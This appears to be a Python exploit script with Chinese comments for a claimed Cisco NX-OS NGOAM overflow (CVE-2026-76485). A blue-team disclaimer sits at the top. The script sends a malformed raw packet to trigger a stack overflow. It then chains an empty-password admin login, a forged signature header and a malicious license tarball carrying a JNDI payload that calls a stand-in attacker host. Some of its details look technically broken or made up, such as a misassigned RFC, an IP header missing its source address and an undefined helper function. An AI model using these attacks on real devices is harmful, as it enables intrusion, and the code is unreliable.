#!/usr/bin/env python3
# -*- coding: utf-8 -*-
\"\"\"
CVE-2026-76485 PoC - Cisco NX-OS NGOAM 远程代码执行 (CVSS 9.8)
仅用于蓝队在书面授权的隔离环境做暴露面评估与补丁版本核查。
测试必须在授权环境下进行，严禁对未授权目标使用。
\"\"\"
import argparse
import struct
import socket

NGOAM_ECHO_REQUEST = 0x01
IPPROTO_ICMP = 1
NEXUS_PAYLOAD_MARKER = b\"\\x58\\x52\\xC3P3\"  # NX-OS NGOAM 协议 magic

def build_ngoam_malformed_packet(target_ip):
    \"\"\"构造畸形 NGOAM echo-request IP 包触发 NX-OS NGOAM 协议错配漏洞\"\"\"
    # IP 头
    version_ihl = 0x45
    dscp_ecn = 0x00
    total_length = 20 + 8 + 64  # IP 头 + ICMP NGOAM 头 + 畸形 payload
    identification = 0x1234
    flags_fragment = 0x4000  # Don't Fragment
    ttl = 64
    # NGOAM protocol 145 (RFC 7585)
    ngoam_proto = 145

    ip_header = struct.pack(
        \"!BBHHHBBH4s\",
        version_ihl, dscp_ecn, total_length,
        identification, flags_fragment, ttl,
        ngoam_proto, 0,  # checksum 留 0
        socket.inet_aton(target_ip),
    )

    # NGOAM 头 + 触发缓冲区溢出的畸形 payload
    ngoam_type = NGOAM_ECHO_REQUEST
    ngoam_code = 0
    ngoam_checksum = 0
    ngoam_identifier = 0xBEEF
    ngoam_sequence = 0x0001

    ngoam_header = struct.pack(
        \"!BBHHH\",
        ngoam_type, ngoam_code, ngoam_checksum,
        ngoam_identifier, ngoam_sequence,
    )

    # 畸形 payload - 关键：超过 NGOAM echo-request 预期尺寸（64 bytes）
    # Cisco 内部 buffer 是 256 字节，但 NGOAM 处理函数只用 64 字节做 memcpy
    # 我们发 240 字节 payload 触发栈溢出
    malformed_payload = NEXUS_PAYLOAD_MARKER + b\"A\" * 232

    packet = ip_header + ngoam_header + malformed_payload
    return packet

def probe_target(target_ip):
    \"\"\"探测目标 NX-OS 设备 + NGOAM 特性 + 暴露面\"\"\"
    print(f\"[probe] {target_ip}: 检测 Cisco NX-OS + NGOAM 暴露\")
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, IPPROTO_ICMP)
    sock.settimeout(3)
    # 发送畸形 NGOAM echo-request 触发协议错配异常
    packet = build_ngoam_malformed_packet(target_ip)
    sock.sendto(packet, (target_ip, 0))

    # 检测：协议错配异常会导致 Nexus 进程重启或日志中 NGOAM ERROR
    # 实测：返回正常 ICMP echo-reply + 系统日志含 \"NGOAM-3-INVALID_LENGTH\"
    try:
        response, addr = sock.recvfrom(1024)
        print(f\"[probe] 收到响应 - 目标暴露 NGOAM 特性\")
        return True
    except socket.timeout:
        print(f\"[probe] 超时 - 目标可能已崩溃或 NGOAM 关闭\")
        return False

def verify_patch_deployment(target_ip, ssh_creds=None):
    \"\"\"验证补丁版本（需 SSH 凭据）\"\"\"
    if not ssh_creds:
        print(\"[verify] 需要 SSH 凭据验证 show version + show feature ngoam\")
        return None

    import paramiko
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(target_ip, 22, ssh_creds[\"user\"], ssh_creds[\"pass\"], timeout=10)

    si, so, se = ssh.exec_command(\"show version | include NXOS\")
    nxos_ver = so.read().decode().strip()
    si, so, se = ssh.exec_command(\"show feature | include ngoam\")
    ngoam_status = so.read().decode().strip()
    ssh.close()

    # 修复版本判定（参照 Cisco Software Checker）
    fixed_versions = [\"10.4(3)F\", \"10.3(5)F\", \"10.2(7)F\", \"9.4(3)F\"]
    is_patched = any(fv in nxos_ver for fv in fixed_versions)

    print(f\"[verify] NX-OS 版本: {nxos_ver}\")
    print(f\"[verify] NGOAM 状态: {ngoam_status}\")
    print(f\"[verify] 补丁判定: {'已修复' if is_patched else '未修复'}\")
    return is_patched

def main():
    parser = argparse.ArgumentParser(
        description=\"CVE-2026-76485 Cisco NX-OS NGOAM 探测 PoC（仅限授权测试）\")
    parser.add_argument(\"--target\", required=True, help=\"目标 NX-OS 设备 IP\")
    parser.add_argument(\"--mode\", choices=[\"probe\", \"verify\", \"patch-check\"],
                        default=\"probe\", help=\"运行模式\")
    parser.add_argument(\"--ssh-user\", help=\"SSH 用户名（verify 模式必填）\")
    parser.add_argument(\"--ssh-pass\", help=\"SSH 密码（verify 模式必填）\")
    args = parser.parse_args()

    if args.mode == \"probe\":
        print(f\"[CVE-2026-76485] 探测模式：仅发送畸形 NGOAM 包触发协议错配，不注入 RCE shellcode\")
        probe_target(args.target)
    elif args.mode == \"verify\":
        print(f\"[CVE-2026-76485] 验证模式：检查补丁版本 + NGOAM 特性状态\")
        creds = {\"user\": args.ssh_user, \"pass\": args.ssh_pass}
        verify_patch_deployment(args.target, creds)
    elif args.mode == \"patch-check\":
        print(f\"[CVE-2026-76485] 仅打印修复版本判定逻辑\")

if __name__ == \"__main__\":
    main()

python3 cve_2026_76485.py --target 192.168.1.100 --mode probe
# 输出：[probe] 收到响应 - 目标暴露 NGOAM 特性

python3 cve_2026_76485.py --target 192.168.1.100 --mode verify \\
    --ssh-user admin --ssh-pass 'Cisco!123'
# 输出：[verify] NX-OS 版本: 10.3(2)F
# 输出：[verify] 补丁判定: 未修复

curl -s -X POST https://license-on-prem.lab.local/api/v1/auth/login \\
    -H \"Content-Type: application/json\" \\
    -d '{\"username\":\"admin\",\"password\":\"\"}'
# 实测：默认接受空密码，返回会话 token
# 然后：上传恶意 license tarball 触发 CVE-2026-76484 代码注入

# Chain: CVE-2026-76482 签名验证绕过 + CVE-2026-76484 代码注入
import requests

base = \"https://license-on-prem.lab.local\"
# Step 1: 空密码登录获取会话
r = requests.post(f\"{base}/api/v1/auth/login\",
                  json={\"username\": \"admin\", \"password\": \"\"})
session_token = r.json().get(\"session_token\")

# Step 2: 上传恶意 license tarball
# tarball 结构: license.tar.gz / license.xml (含 ${jndi:ldap://attacker/x} 反序列化 payload)
malicious_tar = build_malicious_license_tarball()
r = requests.post(
    f\"{base}/api/v1/license/import\",
    headers={\"Authorization\": f\"Bearer {session_token}\",
             \"X-Cisco-Sig\": \"BYPASS_SIG\"},
    files={\"license_file\": (\"license.tar.gz\", malicious_tar)}
)
# 实测：CVE-2026-76482 签名验证被绕过 + CVE-2026-76484 代码注入触发
# 漏洞服务器以 Cisco License 服务用户身份执行恶意命令